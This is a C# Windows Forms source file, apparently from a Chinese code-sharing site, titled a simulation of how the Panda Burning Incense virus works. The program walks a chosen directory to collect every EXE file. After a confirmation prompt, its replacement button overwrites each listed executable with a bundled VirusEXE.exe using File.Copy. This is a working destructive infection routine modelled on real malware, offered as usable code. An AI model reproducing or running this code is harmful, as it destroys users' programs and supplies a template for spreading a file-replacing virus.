📄 form1.cs
字号:
using System;
using System.IO;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
namespace FileTest
{
/// <summary>
/// Form1 的摘要说明。
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.FolderBrowserDialog folderBrowserDialog1;
private System.Windows.Forms.ListBox listBox1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.ListBox listBox2;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.ListBox listBox3;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Label label3;
private BinaryFileControl BFC=new BinaryFileControl();
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Label label4;
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;
public Form1()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
BFC.FilePath=Application.StartupPath+"\\VirusEXE.exe";
BFC.FileRead();
}
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows 窗体设计器生成的代码
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.folderBrowserDialog1 = new System.Windows.Forms.FolderBrowserDialog();
this.listBox1 = new System.Windows.Forms.ListBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.listBox2 = new System.Windows.Forms.ListBox();
this.button2 = new System.Windows.Forms.Button();
this.listBox3 = new System.Windows.Forms.ListBox();
this.button3 = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.button4 = new System.Windows.Forms.Button();
this.label4 = new System.Windows.Forms.Label();
this.SuspendLayout();
//
// listBox1
//
this.listBox1.ItemHeight = 12;
this.listBox1.Location = new System.Drawing.Point(16, 176);
this.listBox1.Name = "listBox1";
this.listBox1.Size = new System.Drawing.Size(608, 28);
this.listBox1.TabIndex = 0;
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(16, 8);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(480, 21);
this.textBox1.TabIndex = 1;
this.textBox1.Text = "选择一个路径";
//
// button1
//
this.button1.Location = new System.Drawing.Point(576, 8);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(48, 24);
this.button1.TabIndex = 2;
this.button1.Text = "浏览";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// listBox2
//
this.listBox2.ItemHeight = 12;
this.listBox2.Location = new System.Drawing.Point(16, 40);
this.listBox2.Name = "listBox2";
this.listBox2.Size = new System.Drawing.Size(608, 28);
this.listBox2.TabIndex = 3;
this.listBox2.SelectedIndexChanged += new System.EventHandler(this.listBox2_SelectedIndexChanged);
//
// button2
//
this.button2.Location = new System.Drawing.Point(512, 8);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(56, 24);
this.button2.TabIndex = 4;
this.button2.Text = "向上";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// listBox3
//
this.listBox3.ItemHeight = 12;
this.listBox3.Location = new System.Drawing.Point(16, 72);
this.listBox3.Name = "listBox3";
this.listBox3.Size = new System.Drawing.Size(608, 64);
this.listBox3.TabIndex = 5;
this.listBox3.SelectedIndexChanged += new System.EventHandler(this.listBox3_SelectedIndexChanged);
//
// button3
//
this.button3.Location = new System.Drawing.Point(16, 144);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(200, 24);
this.button3.TabIndex = 6;
this.button3.Text = "遍历所有EXE文件";
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// label1
//
this.label1.Location = new System.Drawing.Point(16, 248);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(608, 16);
this.label1.TabIndex = 7;
this.label1.Text = "label1";
//
// label2
//
this.label2.Location = new System.Drawing.Point(16, 216);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(592, 16);
this.label2.TabIndex = 8;
this.label2.Text = "label2";
//
// label3
//
this.label3.Location = new System.Drawing.Point(544, 144);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(48, 24);
this.label3.TabIndex = 9;
this.label3.Text = "label3";
//
// button4
//
this.button4.Location = new System.Drawing.Point(232, 144);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(208, 24);
this.button4.TabIndex = 10;
this.button4.Text = "开始执行文件替换";
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// label4
//
this.label4.Location = new System.Drawing.Point(464, 144);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(64, 24);
this.label4.TabIndex = 11;
this.label4.Text = "exe文件数";
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(640, 273);
this.Controls.Add(this.label4);
this.Controls.Add(this.button4);
this.Controls.Add(this.label3);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Controls.Add(this.button3);
this.Controls.Add(this.listBox3);
this.Controls.Add(this.button2);
this.Controls.Add(this.listBox2);
this.Controls.Add(this.button1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.listBox1);
this.Name = "Form1";
this.Text = "熊猫烧香病毒原理模拟程序";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
private void Form1_Load(object sender, System.EventArgs e)
{
}
private void button1_Click(object sender, System.EventArgs e)
{
folderBrowserDialog1.ShowDialog(this);//显示路径选择对话框
string path=folderBrowserDialog1.SelectedPath;//获取选择的路径
this.textBox1.Text=path;//得到路径
this.InitControlsInfo(path);//初始化窗体控件信息
}
/// <summary>
/// 初始化窗体控件方法
/// </summary>
/// <param name="path">物理目录路径</param>
private void InitControlsInfo(string path)
{
DirectoryInfo dirinfo=new DirectoryInfo(path);//创建目录信息对象
FileInfo[] fList=dirinfo.GetFiles();//获取当前目录文件对象数组
this.FileListBoxFill(fList);//填充文件列表菜单
DirectoryInfo[] childDirlist=dirinfo.GetDirectories();//获取当前目录的子目录集合
this.DirectoryChildFill(childDirlist);//填充子目录列表菜单
}
/// <summary>
/// 子目录列表填充方法
/// </summary>
/// <param name="childDirlist">子目录数组</param>
private void DirectoryChildFill(DirectoryInfo[] childDirlist)
{
this.listBox2.Items.Clear();
foreach(DirectoryInfo childDir in childDirlist)
{
this.listBox2.Items.Add(childDir.FullName);
}
}
/// <summary>
/// 文件列表填充方法
/// </summary>
/// <param name="fList">文件数组</param>
private void FileListBoxFill(FileInfo[] fList)
{
this.listBox1.Items.Clear();
foreach(FileInfo fItem in fList)
{
this.listBox1.Items.Add(fItem.Name);
}
}
private void listBox2_SelectedIndexChanged(object sender, System.EventArgs e)
{
string path=this.listBox2.SelectedItem.ToString();
this.textBox1.Text=path;
this.InitControlsInfo(path);
}
private void button2_Click(object sender, System.EventArgs e)
{
DirectoryInfo fSelected=new DirectoryInfo(this.textBox1.Text);//创建目录信息对象
string path=null;
if(fSelected.Parent!=null)//判断是否有上级目录
{
path=fSelected.Parent.FullName;//获得上级目录的路径
this.textBox1.Text=path;//更新文本框
this.InitControlsInfo(path);//调用初始化控件方法
}
}
private void button3_Click(object sender, System.EventArgs e)
{
if(this.textBox1.Text!=null)
{
BFC.FilePath=this.textBox1.Text;
BFC.label1=this.label1;
BFC.label2=this.label2;
BFC.label3=this.label3;
BFC.listBox3=this.listBox3;
BFC.EXEFileTraversing();
MessageBox.Show("运行结束End");
}
else
{
MessageBox.Show("请选择一个目录");
}
}
private void listBox3_SelectedIndexChanged(object sender, System.EventArgs e)
{
this.textBox1.Text=this.listBox3.SelectedItem.ToString();
}
private void button4_Click(object sender, System.EventArgs e)
{
if(MessageBox.Show("确定要替换吗?最好做好思想准备","替换文件确认对话框",MessageBoxButtons.OKCancel)==DialogResult.OK)
{
for(int i=0;i<this.listBox3.Items.Count;i++)
{
File.Copy(Application.StartupPath+"\\VirusEXE.exe",this.listBox3.Items[i].ToString(),true);
}
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -